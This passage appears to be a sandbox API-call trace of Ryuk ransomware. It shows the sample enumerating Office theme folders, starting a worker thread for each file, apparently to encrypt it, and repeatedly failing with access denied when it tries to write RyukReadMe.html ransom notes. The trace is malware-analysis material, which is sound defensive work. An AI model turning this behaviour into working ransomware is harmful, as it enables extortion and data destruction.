	[0168.729] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4f93, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0168.729] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0168.730] SetLastError (dwErrCode=0x0) 
	[0168.730] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.730] GetLastError () returned 0x5
	[0168.730] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0168.730] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.731] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="COMPASS", cAlternateFileName="")) returned 1
	[0168.731] SetLastError (dwErrCode=0x0) 
	[0168.731] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.731] GetLastError () returned 0x5
	[0168.731] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0168.731] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.732] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0168.733] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0168.734] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf17d4300, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6041aaf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf17d4300, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xd613, dwReserved0=0x8e, dwReserved1=0x0, cFileName="COMPASS.ELM", cAlternateFileName="")) returned 1
	[0168.734] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.735] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b4
	[0168.835] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.836] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0x8e, dwReserved1=0x0, cFileName="COMPASS.INF", cAlternateFileName="")) returned 1
	[0168.836] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.837] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b8
	[0168.839] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.840] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x50d, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0168.840] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.841] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6bc
	[0168.843] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.844] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x505f, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0168.844] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.845] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c0
	[0168.847] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.848] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x505f, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0168.848] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0168.848] SetLastError (dwErrCode=0x0) 
	[0168.848] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.849] GetLastError () returned 0x5
	[0168.849] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0168.849] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.849] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="CONCRETE", cAlternateFileName="")) returned 1
	[0168.850] SetLastError (dwErrCode=0x0) 
	[0168.850] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.850] GetLastError () returned 0x5
	[0168.850] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0168.850] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.850] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0168.852] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0168.852] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ae7000, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ae7000, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb1d8, dwReserved0=0x8e, dwReserved1=0x0, cFileName="CONCRETE.ELM", cAlternateFileName="")) returned 1
	[0168.852] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.853] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c4
	[0168.856] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.856] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="CONCRETE.INF", cAlternateFileName="")) returned 1
	[0168.856] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.857] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c8
	[0168.860] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.861] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x507, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0168.861] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.863] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6cc
	[0168.865] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.866] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6fb3, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0168.866] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.867] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d0
	[0168.869] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.870] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6fb3, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0168.870] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0168.870] SetLastError (dwErrCode=0x0) 
	[0168.870] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.871] GetLastError () returned 0x5
	[0168.871] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0168.871] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.871] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="DEEPBLUE", cAlternateFileName="")) returned 1
	[0168.871] SetLastError (dwErrCode=0x0) 
	[0168.871] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.872] GetLastError () returned 0x5
	[0168.872] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0168.872] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.872] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0168.873] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0168.873] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf641f700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf641f700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x116dc, dwReserved0=0x8e, dwReserved1=0x0, cFileName="DEEPBLUE.ELM", cAlternateFileName="")) returned 1
	[0168.873] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.874] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d4
	[0168.945] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.946] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x8e, dwReserved1=0x0, cFileName="DEEPBLUE.INF", cAlternateFileName="")) returned 1
	[0168.946] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.946] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d8
	[0168.948] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.948] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xf75, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0168.949] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.949] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6dc
	[0168.951] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.952] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x81fd, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0168.952] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.953] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e0
	[0168.954] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.955] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x81fd, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0168.955] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0168.955] SetLastError (dwErrCode=0x0) 
	[0168.955] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.956] GetLastError () returned 0x5
	[0168.956] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0168.956] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.956] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ECHO", cAlternateFileName="")) returned 1
	[0168.956] SetLastError (dwErrCode=0x0) 
	[0168.956] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.956] GetLastError () returned 0x5
	[0168.957] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0168.957] CloseHandle (hObject=0xffffffffffffffff) returned 0
